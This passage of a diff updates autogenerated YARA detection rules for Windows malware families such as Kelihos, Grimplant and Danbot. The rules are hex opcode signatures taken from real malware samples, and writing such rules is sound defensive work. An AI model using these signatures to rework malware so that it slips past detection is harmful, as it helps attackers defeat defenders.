ff15???????? } + $sequence_3 = { 83c304 ebb2 c705????????66666666 6a04 68???????? e8???????? } + $sequence_4 = { 85c0 7548 803d????????00 7411 6a00 68???????? ff15???????? } + $sequence_5 = { 6800040000 ff7510 6aff ff7204 6a00 6a00 ff15???????? } + $sequence_6 = { 8945ec ff75f0 ff15???????? 50 6a06 ff75f0 } + $sequence_7 = { 6801000080 ff15???????? 85c0 0f85fc030000 68000000f0 6a01 6a00 } + $sequence_8 = { e8???????? 85c0 0f846c020000 83c00a } + $sequence_9 = { a1???????? 0305???????? c60000 68???????? ff35???????? e8???????? } condition: - 7 of them and filesize < 5577728 + 7 of them and filesize < 770048 } -rule MALPEDIA_Win_Tonedeaf_Auto : FILE +rule MALPEDIA_Win_Ghost_Secret_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "45b13e7e-c29b-5480-ade9-d6d61b9a86df" + id = "25fa3485-ffb3-5411-9ac6-ae7f05225e3c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tonedeaf" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tonedeaf_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_secret" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ghost_secret_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "ffe23054663c8cef941b8fef13d66b93a10d69fedb5bcac05b4afd2fa9414e88" + logic_hash = "80ab2d045d82b27f499fbd18dbe91dc4f32ae725e1e1075459fc83c90e8a3488" score = 75 quality = 75 tags = "FILE" @@ -132356,32 +132185,32 @@ rule MALPEDIA_Win_Tonedeaf_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b45ec 85c0 740b 6a08 50 } - $sequence_1 = { 2bd9 2bf1 8bc3 46 } - $sequence_2 = { 33c0 660fd645d4 33db 8945d8 } - $sequence_3 = { 8b5004 8d4af8 898c153cffffff 8d45a8 c745fc01000000 } - $sequence_4 = { 6a00 ff15???????? 56 ff15???????? 56 ff15???????? } - $sequence_5 = { 75f3 8bf3 8a03 43 84c0 } - $sequence_6 = { 33c0 660fd645d4 33db 8945d8 895dd4 } - $sequence_7 = { 75f3 8bf3 8a03 43 84c0 75f9 2bde } - $sequence_8 = { c745dc00000000 33c0 660fd645d4 33db 8945d8 895dd4 } - $sequence_9 = { 8a0e 8d7601 884c32ff 84c9 75f3 8bf3 8a03 } + $sequence_0 = { e8???????? 83c408 50 56 ff15???????? 8d8c24a4050000 6a13 } + $sequence_1 = { c68424eb02000040 c68424ec02000017 c68424ed02000034 c68424ee020000da c68424ef020000f8 c68424f002000003 c68424f1020000c7 } + $sequence_2 = { 85c0 55 7518 68beb60000 e8???????? 83c408 5f } + $sequence_3 = { c68424c8070000a6 c68424c9070000c9 c68424ca0700004e c68424cb07000072 c68424cc07000008 c68424cd070000dc c68424ce0700007b } + $sequence_4 = { 6689442460 50 8b44247c c744242400000000 50 6a00 } + $sequence_5 = { c684243e04000031 c684243f040000cb c68424400400006c c68424410400006c c684244204000075 } + $sequence_6 = { 8d54244c 57 52 50 ff15???????? 85c0 } + $sequence_7 = { 75dc 5f 5e 5d b890f0ffff 5b c3 } + $sequence_8 = { c68424b7070000d1 c68424b40400004b 888c24b5040000 c68424b60400007e c68424b704000049 c68424b80400006e c68424b904000070 } + $sequence_9 = { 8b440e08 83f809 0f87cf000000 ff248520ae4000 6a07 8d542444 e9???????? } condition: - 7 of them and filesize < 851968 + 7 of them and filesize < 278528 } -rule MALPEDIA_Win_Strikesuit_Gift_Auto : FILE +rule MALPEDIA_Win_Grimplant_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "07a5f9ca-40c1-5bef-81cd-9b2edfb79941" + id = "f4355e5f-8d8e-5a41-aaf8-ff78dc5bf245" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.strikesuit_gift" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.strikesuit_gift_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grimplant" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.grimplant_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "38158a27b97c948ddd0e7a00ce8b9fd84a0eeadae064b8c5755cc04130a6bdf7" + logic_hash = "4dec16f667070add3c068beb4323237f7a05d78d34df766eafa3cbe4813f7400" score = 75 quality = 75 tags = "FILE" @@ -132395,32 +132224,32 @@ rule MALPEDIA_Win_Strikesuit_Gift_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 06 2000100000 1f40 2801000006 } - $sequence_1 = { 7245000070 7e1b00000a 6f2500000a 1305 1105 7249000070 } - $sequence_2 = { 2d3f 08 8e 69 05 59 } - $sequence_3 = { 2801000006 0b 16 0c 2b0e 07 08 } - $sequence_4 = { 7503000002 0d 09 7e1e00000a 6f0c000006 } - $sequence_5 = { a2 1105 17 58 1305 1105 08 } - $sequence_6 = { 07 d003000002 282000000a 282100000a } - $sequence_7 = { 1107 7e01000004 1b 6f1800000a } - $sequence_8 = { 731500000a 0b 16 0c } - $sequence_9 = { 03 282c00000a 0a 16 0b 2b19 02 } + $sequence_0 = { eb13 4889c3 4889f0 e8???????? 488b942480000000 84c0 742a } + $sequence_1 = { eb09 488d7908 e8???????? 488b6c2420 4883c428 c3 0f1f4000 } + $sequence_2 = { e8???????? 488d056e852500 488b5c2428 488b4c2448 488b7c2450 e8???????? 48c7400801000000 } + $sequence_3 = { e8???????? 4889d8 e8???????? 4c89e0 0f1f440000 e8???????? 488b9424f8000000 } + $sequence_4 = { 4c8b442458 4c8b4c2460 4c8d15f1213300 4989c3 4889c8 4889d1 488bac24a0000000 } + $sequence_5 = { eb1c 488b4c2460 488b8908010000 488b442468 ffd1 3c03 7505 } + $sequence_6 = { 8400 833d????????00 750c 488d0da5553c00 488908 eb0f 4889c7 } + $sequence_7 = { c3 4889d0 488b5c2468 488b4c2440 488d3dd7323800 be04000000 e8???????? } + $sequence_8 = { bf01000000 4889fe e8???????? 0f1f440000 e8???????? 4889c3 488d05f1d22a00 } + $sequence_9 = { ffd2 488d48ff eb15 31c0 488b6c2468 4883c470 c3 } condition: - 7 of them and filesize < 50176 + 7 of them and filesize < 19940352 } -rule MALPEDIA_Win_Mewsei_Auto : FILE +rule MALPEDIA_Win_Reactorbot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "add045ad-b22b-5690-8008-c500cb8eb696" + id = "1f9dea8e-61fb-5c9c-9443-ee6383884e21" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mewsei" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mewsei_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.reactorbot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.reactorbot_auto.yar#L1-L161" license_url = "N/A" - logic_hash = "25d3161d5bf746c6ecd7f709f19943bce6135e5cdd1b0f6ec1d26ee45065cb61" + logic_hash = "701fb8c7491a0d723c5845d4d6cce6ffa47155dd0df2cecad8bd6a0e42ab031b" score = 75 quality = 75 tags = "FILE" @@ -132434,71 +132263,77 @@ rule MALPEDIA_Win_Mewsei_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 037dfc 897df0 0fb6780b c1e708 } - $sequence_1 = { c1e708 0fb6582c 0bfb 89b984000000 897dbc 8b7df0 337dfc } - $sequence_2 = { 03de 8dbc3b56b7c7e8 0fb6580a c1c70c 037dfc 897df0 0fb6780b } - $sequence_3 = { 0f8278ffffff 5b 5f 8bc6 5e } - $sequence_4 = { 3bcf 7319 bf???????? 8d5101 2bf9 } - $sequence_5 = { c3 8b4d0c 85c9 7411 8bc1 } - $sequence_6 = { 6a00 50 68???????? 6a00 6a00 ffd6 50 } - $sequence_7 = { 8b08 8b511c 50 ffd2 3bc3 740a 83f801 } - $sequence_8 = { 33d2 25ff7f0000 f7f1 80c230 885305 c6430600 85ff } - $sequence_9 = { c1ea10 884708 8b4610 884f05 885706 8bc8 8bd0 } + $sequence_0 = { 8b4804 894dfc 8b55fc a1???????? } + $sequence_1 = { c745e400000000 a1???????? 8945e0 8b4d08 } + $sequence_2 = { 50 ff15???????? 8b55f4 52 ff15???????? 8b45ec 8be5 } + $sequence_3 = { ff15???????? 8945f8 837df800 7449 8b55fc 52 } + $sequence_4 = { 8d8590fdffff 50 ff15???????? 8d8d90fdffff 51 } + $sequence_5 = { 8d9580f9ffff 52 ff15???????? 8945ec 837decff } + $sequence_6 = { a1???????? 8982b8000000 83c8ff 8be5 } + $sequence_7 = { 8b4508 50 6804010000 8d8d78f7ffff 51 e8???????? 8d9578f7ffff } + $sequence_8 = { 7402 eb0c c705????????b80b0000 eb0a c705????????e8030000 } + $sequence_9 = { ff15???????? e8???????? 833d????????00 7509 833d????????00 } + $sequence_10 = { 83c005 99 b905000000 f7f9 } + $sequence_11 = { 69c0b13a0200 99 83e203 03c2 } + $sequence_12 = { 6bc005 83e803 99 b999000000 f7f9 } + $sequence_13 = { 83e101 f7d9 81e12083b8ed 33c1 } + $sequence_14 = { 837c246000 0f8562010000 c744245400000000 c744247400100000 } + $sequence_15 = { 48837c245000 0f8417040000 4c8d0da2b30000 41b804000000 488d15ed7e0000 488b4c2450 } condition: - 7 of them and filesize < 504832 + 7 of them and filesize < 1032192 } -rule MALPEDIA_Win_Unidentified_061_Auto : FILE +rule MALPEDIA_Win_Octowave_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "59888b60-a3e6-5e9f-a441-429646fe0731" - date = "2023-07-11" - modified = "2023-07-15" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_061" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_061_auto.yar#L1-L123" + id = "35c13348-0eb4-5d13-a207-5c2013e4210f" + date = "2026-01-05" + modified = "2026-01-06" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.octowave" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.octowave_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "ee3ce5b6c77f09c690f7a934c26be09c58c4fcdee70275b61c00e527d8aa097d" + logic_hash = "1fa979b8176587b51d4501d3bbb1e6a1953eac27bc34cded0325574b49761409" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20230705" - malpedia_hash = "42d0574f4405bd7d2b154d321d345acb18834a41" - malpedia_version = "20230715" + malpedia_rule_date = "20260105" + malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" + malpedia_version = "20251219" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d85d4fdffff 50 e8???????? c9 } - $sequence_1 = { 89b5f0fdffff 899decfdffff 89b5f4feffff 899df0feffff ff15???????? 8945fc } - $sequence_2 = { 51 8365fc00 8d45fc 50 68???????? 6801000080 ff15???????? } - $sequence_3 = { 8945f0 0fb705???????? 50 ff15???????? 668945ee } - $sequence_4 = { 68???????? 56 ff15???????? 83c41c 8d4601 5e eb09 } - $sequence_5 = { 7417 03f3 3bf7 7ccb eb2f 7d29 } - $sequence_6 = { 83cfff c6457300 3b7566 7cb5 3b7566 } - $sequence_7 = { 53 57 6a04 33ff 33db } - $sequence_8 = { 5b c9 c20800 81ec00040000 68???????? 68???????? ff15???????? } - $sequence_9 = { eb04 c645fb3d 6a05 8d45f8 50 ff750c c645fc00 } + $sequence_0 = { fecb 889c24c0000000 8b9c244c010000 85db 7529 8d9c242c010000 8d7b01 } + $sequence_1 = { ff86201b0000 8b86201b0000 c684302013000000 83ef01 75d3 8b5c2414 85d2 } + $sequence_2 = { ff742450 56 e8???????? 83c408 85c0 0f850a040000 83cb10 } + $sequence_3 = { 8d4f02 51 56 e8???????? 83c408 5f 8bc6 } + $sequence_4 = { ff742418 2bf5 ff742424 8b04b568022110 ffd0 8b7c241c 83c40c } + $sequence_5 = { ff7500 50 e8???????? 83c408 837db800 750a f30f1015???????? } + $sequence_6 = { f30f5cc8 f30f1041e8 f30f594714 f30f5cc8 f30f1041e4 f30f594718 f30f5cc8 } + $sequence_7 = { f76b14 03f8 8b4560 13ca f76b18 03f8 8b455c } + $sequence_8 = { ff5004 48 8bcf 50 ff560c 8b17 8bcf } + $sequence_9 = { ff74241c 8b4608 8b4e04 48 f20f1044242c 23c2 6a00 } condition: - 7 of them and filesize < 360448 + 7 of them and filesize < 7258112 } -rule MALPEDIA_Win_Poldat_Auto : FILE +rule MALPEDIA_Win_Kelihos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "42cee7c4-4091-565d-9c3d-72814a243e33" + id = "5ce7cec0-9b63-57ad-afe3-2ac567126cba" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poldat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.poldat_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kelihos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kelihos_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "623b16e441bfe440967c1ef70315e2275e1dcbf3de26c2e6e7dae46aecf0c483" + logic_hash = "c2eacbb99d14be28a148d8ab81d8255fe39a06721e8fc3e2b106469f00f3e62c" score = 75 quality = 75 tags = "FILE" @@ -132512,32 +132347,32 @@ rule MALPEDIA_Win_Poldat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 8b4514 83c410 8906 8b4510 } - $sequence_1 = { c74724c0324000 8b4c2418 83f9ff 750c c744241806000000 8b4c2418 } - $sequence_2 = { 89be4c0c0000 89be500c0000 89be540c0000 8bc6 5f } - $sequence_3 = { 8b4720 895718 3bc2 750a c74720a0324000 } - $sequence_4 = { 8d888c000000 8d9080090000 8988100b0000 8d88740a0000 8988280b0000 33c9 c780180b000018b24100 } - $sequence_5 = { 50 e8???????? 55 8d86bc0a0000 57 50 c786b80a0000901f0000 } - $sequence_6 = { 8bc7 83e007 83ed03 8b148dbc9c4100 } - $sequence_7 = { c3 55 8bec 81ec68040000 8065fc00 53 56 } - $sequence_8 = { 2bc8 03c7 51 6a00 8d441804 50 } - $sequence_9 = { 50 e8???????? 59 e8???????? 6a04 99 } + $sequence_0 = { e9???????? 6a01 6a08 e8???????? 6a03 53 53 } + $sequence_1 = { e8???????? 8bf3 8d5c1b02 3b5d0c 7cb6 7526 8b450c } + $sequence_2 = { 8d8c24ac000000 8844241b e8???????? 85c0 743a 385c2417 7534 } + $sequence_3 = { c3 837c2404ff 750e 817c2408ffffff7f 7504 33c0 40 } + $sequence_4 = { c60060 e8???????? 6a5c 8bce c60064 e8???????? 68c5010000 } + $sequence_5 = { eb02 33c0 57 50 ff742418 ff742420 ff74241c } + $sequence_6 = { c3 56 8bf1 6a00 6a01 8d4e7c c706???????? } + $sequence_7 = { e9???????? e8???????? 8b00 50 e8???????? 83c404 50 } + $sequence_8 = { c6400d00 8908 eb06 8b4508 832000 e8???????? c20c00 } + $sequence_9 = { c1e108 034df0 8d4514 e8???????? 834dfcff 8d4514 50 } condition: - 7 of them and filesize < 247808 + 7 of them and filesize < 4702208 } -rule MALPEDIA_Win_Quirkyloader_Auto : FILE +rule MALPEDIA_Win_Bluehaze_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "96ed682d-1f85-55be-b220-303838180cde" + id = "1fd1249e-5be9-518c-b471-fb529bb8c9ae" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.quirkyloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.quirkyloader_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bluehaze" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bluehaze_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "8925860198d03a19b550d761a81339280161301cb85fe60c28e452df7f2a68e4" + logic_hash = "09fb1421d27d0a64efc13cfb683dac14a3c5bd0c2192d0b84f6a45513276dafa" score = 75 quality = 75 tags = "FILE" @@ -132551,32 +132386,32 @@ rule MALPEDIA_Win_Quirkyloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 488bd8 488d15636d1200 488d4b10 41b880000000 e8???????? 488d4e10 } - $sequence_1 = { e8???????? 85c0 740e b801000000 4883c438 5b 5e } - $sequence_2 = { 4c8d8c2488000000 488bcb 4533c0 e8???????? 4c8bf8 4c8b6b40 4d85ff } - $sequence_3 = { e8???????? 498bcd e8???????? 488d0d0a1a0300 e8???????? 488bd8 e8???????? } - $sequence_4 = { 8b7a04 49033f 4803f9 4803fb 483bdf 731f 488b0b } - $sequence_5 = { ffc8 488d1480 498b4230 488d0cd0 488b4110 49894110 49c741f801000000 } - $sequence_6 = { 80b9b901000000 7502 eb15 488bce e8???????? 488bc8 33d2 } - $sequence_7 = { eb02 8bc6 8945cc 488b4518 488b4818 48898d70ffffff 488b4518 } - $sequence_8 = { f7da 41b9ff000000 83e207 0fb6ca 488d95c0000000 62d17e486f00 62f17e487f4502 } - $sequence_9 = { e8???????? 488bc3 8138ffffff7f 7409 488bc3 8b00 ffc0 } + $sequence_0 = { 85ff 7405 8b4dec 890f 83c704 897dd8 3b5604 } + $sequence_1 = { 894704 8b4804 8901 837dcc10 c745fcffffffff 720c } + $sequence_2 = { 51 c745fc00000000 e8???????? 83c408 837de810 720c 8b55d4 } + $sequence_3 = { c706???????? 8bc6 5e 8be5 5d c3 8d45fc } + $sequence_4 = { 33d2 eb02 8b10 8b4518 85c0 740c } + $sequence_5 = { 03ce 51 8b4b6c 57 51 ff15???????? } + $sequence_6 = { c706???????? e8???????? 6a30 c745fc00000000 c7462000000000 e8???????? 83c404 } + $sequence_7 = { 53 8d9564feffff 52 8d8dd4feffff e8???????? 8b7010 838d20feffff01 } + $sequence_8 = { c747140f000000 895f10 881f 833e10 7315 8b56fc } + $sequence_9 = { e8???????? 83c404 c785ccfeffff0f000000 899dc8feffff 889db8feffff c645fc03 39b578feffff } condition: - 7 of them and filesize < 4722688 + 7 of them and filesize < 424960 } -rule MALPEDIA_Win_Alureon_Auto : FILE +rule MALPEDIA_Win_Strikesuit_Gift_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "117dd26b-ed24-54a6-81be-757a69affa6d" + id = "07a5f9ca-40c1-5bef-81cd-9b2edfb79941" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alureon" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.alureon_auto.yar#L1-L175" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.strikesuit_gift" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.strikesuit_gift_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "9eb93e11f255dfd7233db5216742e55bd1642de34cc4ea7abe163cf90bc56063" + logic_hash = "38158a27b97c948ddd0e7a00ce8b9fd84a0eeadae064b8c5755cc04130a6bdf7" score = 75 quality = 75 tags = "FILE" @@ -132590,38 +132425,32 @@ rule MALPEDIA_Win_Alureon_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 895d14 7439 49 d1e9 41 894df8 8b4d14 } - $sequence_1 = { 6a60 59 32c0 8d7c2420 } - $sequence_2 = { 45 33d2 0fb74158 d1e8 44 } - $sequence_3 = { 49 8d541d2c 45 8be3 49 8bfb } - $sequence_4 = { 8bc3 c1e808 88442440 8954242c } - $sequence_5 = { 68000010c0 8d45fc 50 c745d818000000 895ddc c745e440000000 895de8 } - $sequence_6 = { 49 8bfb 44 2b6330 8b0a 48 } - $sequence_7 = { 668b85a0fbffff 8b4df4 8b3d???????? 66894108 } - $sequence_8 = { 5f 8d442454 89442428 8d442420 50 } - $sequence_9 = { 75f9 ff75b4 8d4dbc 2bc6 8b35???????? 51 } - $sequence_10 = { 50 68???????? a4 ff15???????? 8bc3 8d7001 8a08 } - $sequence_11 = { ff742428 ff15???????? 8bf8 83ffff 7507 33c0 eb43 } - $sequence_12 = { beff000000 33db 56 8d85f9fcffff 53 50 } - $sequence_13 = { 8d9c2400050000 e8???????? 8bc3 50 33db 53 53 } - $sequence_14 = { 8bf8 83c418 85ff 7504 32c0 } - $sequence_15 = { e8???????? be00030000 83c418 8975ec c745f000010000 895df8 56 } + $sequence_0 = { 06 2000100000 1f40 2801000006 } + $sequence_1 = { 7245000070 7e1b00000a 6f2500000a 1305 1105 7249000070 } + $sequence_2 = { 2d3f 08 8e 69 05 59 } + $sequence_3 = { 2801000006 0b 16 0c 2b0e 07 08 } + $sequence_4 = { 7503000002 0d 09 7e1e00000a 6f0c000006 } + $sequence_5 = { a2 1105 17 58 1305 1105 08 } + $sequence_6 = { 07 d003000002 282000000a 282100000a } + $sequence_7 = { 1107 7e01000004 1b 6f1800000a } + $sequence_8 = { 731500000a 0b 16 0c } + $sequence_9 = { 03 282c00000a 0a 16 0b 2b19 02 } condition: - 7 of them and filesize < 278528 + 7 of them and filesize < 50176 } -rule MALPEDIA_Win_Boatlaunch_Auto : FILE +rule MALPEDIA_Win_Bh_A006_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5b0d65d7-386e-5181-abff-96bda8de10ae" + id = "f37d05fc-fa47-5fd7-bb26-823ae04185f6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.boatlaunch" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.boatlaunch_auto.yar#L1-L171" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bh_a006" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bh_a006_auto.yar#L1-L100" license_url = "N/A" - logic_hash = "adf615ca940a4845de7b709cb5b628615811519e57950596633d26b59f2f2942" + logic_hash = "e3efc1dc1d935b6057dbf735dfbafda7bd291fd107bd55d1d22343cc85bf6fea" score = 75 quality = 75 tags = "FILE" @@ -132635,40 +132464,32 @@ rule MALPEDIA_Win_Boatlaunch_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c7430c00000000 c7431000000000 c7431400000000 8d45f0 50 8d45d8 } - $sequence_1 = { 8345e802 4b 85db 75af eb05 e9???????? } - $sequence_2 = { 0f84b1000000 8b4878 85c9 0f84a6000000 894dec 03cf 894df0 } - $sequence_3 = { 7502 48ab 488bfe ffcb 85db } - $sequence_4 = { 488b4dd0 e8???????? 488b45d8 488d6528 415b } - $sequence_5 = { 8b45e4 03701c 2b75ec 0375e4 ad 85c0 7407 } - $sequence_6 = { 448b45fc e8???????? 48894500 48c7c105000000 } - $sequence_7 = { 488d6c2430 48c745f800000000 488d35901e0000 488bfe bb40000000 } - $sequence_8 = { 488905???????? 48c7c001000000 488d6500 5d } - $sequence_9 = { c745f800000000 8d5ddc c70318000000 c7430400000000 } - $sequence_10 = { 8d85e0eeffff 50 e8???????? 83c404 53 } - $sequence_11 = { 5a 59 5b 5d c3 48894c2408 4855 } - $sequence_12 = { ff75f8 e8???????? 81fb02010000 7507 c745fc01000000 8b45fc 5f } - $sequence_13 = { c7431400000000 8d45f4 50 8d45dc 50 68ff0f1f00 } - $sequence_14 = { 48c7c164000000 e8???????? e9???????? 488d6500 } - $sequence_15 = { 4150 4151 4152 4153 4881ec78110000 488dac2480000000 48c745e800000000 } + $sequence_0 = { 8bca 2b08 03cb 8930 } + $sequence_1 = { 6683bdecdfffff00 8dbdecdfffff 7436 57 } + $sequence_2 = { 88041a 42 884517 8955f4 e9???????? 2bf0 } + $sequence_3 = { 85ff 7472 8d45fc 50 } + $sequence_4 = { 8b95e4deffff 59 83e201 c1e202 6a04 59 } + $sequence_5 = { 8985d4ddffff 8985d8ddffff 8985dcddffff 8945fc } + $sequence_6 = { 898de4deffff 3bcb 7cbb 8bb5d8deffff 33db 8b85d0deffff 56 } + $sequence_7 = { 50 68???????? 8d85b8f5ffff 50 e8???????? 85c0 7922 } condition: - 7 of them and filesize < 33792 + 7 of them and filesize < 430080 } -rule MALPEDIA_Win_Silence_Auto : FILE +rule MALPEDIA_Win_Danbot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "76b63199-cbb5-5cad-8141-09f38a80148d" + id = "20935e71-f906-54b9-9bae-c4a4caef1aba" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.silence" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.silence_auto.yar#L1-L414" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.danbot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.danbot_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "ca0b6959891210b6329cb5e65869406530d9a0a78093846319a985c972eb2ee3" + logic_hash = "acd94691ea40c5baca6316ac758413a2314f96bf1ccb4eb7ca1bd69319a91f06" score = 75 - quality = 50 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -132680,72 +132501,34 @@ rule MALPEDIA_Win_Silence_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? cc 8325????????00 c3 6a08 } - $sequence_1 = { 8a4801 40 84c9 75f4 eb05 } - $sequence_2 = { 50 6a00 6a00 68???????? c745fc00000000 } - $sequence_3 = { 50 683f020f00 6a00 68???????? 6801000080 ff15???????? 68???????? } - $sequence_4 = { 6801000080 ff15???????? 56 8d85f8feffff 50 } - $sequence_5 = { ff15???????? 6a00 6800000004 6a00 } - $sequence_6 = { 7502 f3c3 e9???????? e8???????? e9???????? 6a14 68???????? } - $sequence_7 = { 68???????? ffd6 8b45fc 85c0 } - $sequence_8 = { 6800040000 ff30 c745fc00000000 57 ff15???????? } - $sequence_9 = { 55 8bec 51 56 8b35???????? 6a00 6a00 } - $sequence_10 = { 8b35???????? 6a00 6a00 6a00 6a00 8d45fc } - $sequence_11 = { 84c9 75f4 eb0d 803800 7408 8a5a01 42 } - $sequence_12 = { 3acb 740a 8a4801 40 } - $sequence_13 = { 5b 5d c3 c60200 42 } - $sequence_14 = { 8bf8 6a00 57 ff15???????? 8d45fc } - $sequence_15 = { 50 56 ff15???????? 8b85b8f7ffff 85c0 75b6 ffb5acf7ffff } - $sequence_16 = { 8d85b8f7ffff 50 6800080000 8d85bcf7ffff 50 } - $sequence_17 = { 6a00 8d8db4f7ffff 51 50 8d85bcf7ffff } - $sequence_18 = { e8???????? ff76f8 e8???????? 83c41c 895ef8 897ef0 5b } - $sequence_19 = { 8b46f8 0346f4 57 ff7508 50 } - $sequence_20 = { 8b01 52 8d95f0fdffff 52 } - $sequence_21 = { e8???????? ff37 8b35???????? ffd6 } - $sequence_22 = { 898df8fbffff 8d8dfcfbffff 51 ffb5f0fbffff } - $sequence_23 = { ff5210 8b17 8bcf ff5208 } - $sequence_24 = { 52 ff10 8b95ecfdffff 03fa } - $sequence_25 = { e8???????? 8b4ef4 8bc7 2bc1 } - $sequence_26 = { 99 83e203 03c2 c1f802 89442448 } - $sequence_27 = { ff15???????? ba180c0000 b940000000 ff15???????? } - $sequence_28 = { 8b05???????? d3e0 8b0d???????? 03c8 } - $sequence_29 = { d3e0 0fb6c8 8b05???????? d3e0 } - $sequence_30 = { e8???????? ba00040000 b940000000 ff15???????? } - $sequence_31 = { ff15???????? 41b804010000 488d542430 488d4c2430 ff15???????? 85c0 } - $sequence_32 = { d3f8 0fb60d???????? d3e0 85c0 } - $sequence_33 = { ff15???????? 488d542430 488d8c2440020000 ff15???????? } - $sequence_34 = { 8d0441 33d2 b905000000 f7f1 } - $sequence_35 = { 750e 68???????? ff15???????? c20800 53 8b1d???????? } - $sequence_36 = { 8bec ff4d08 755d 833d????????04 } - $sequence_37 = { c705????????00000000 c705????????04000000 ff15???????? 85c0 750b } - $sequence_38 = { 7507 68???????? ffd7 6a00 6a00 6a01 } - $sequence_39 = { 53 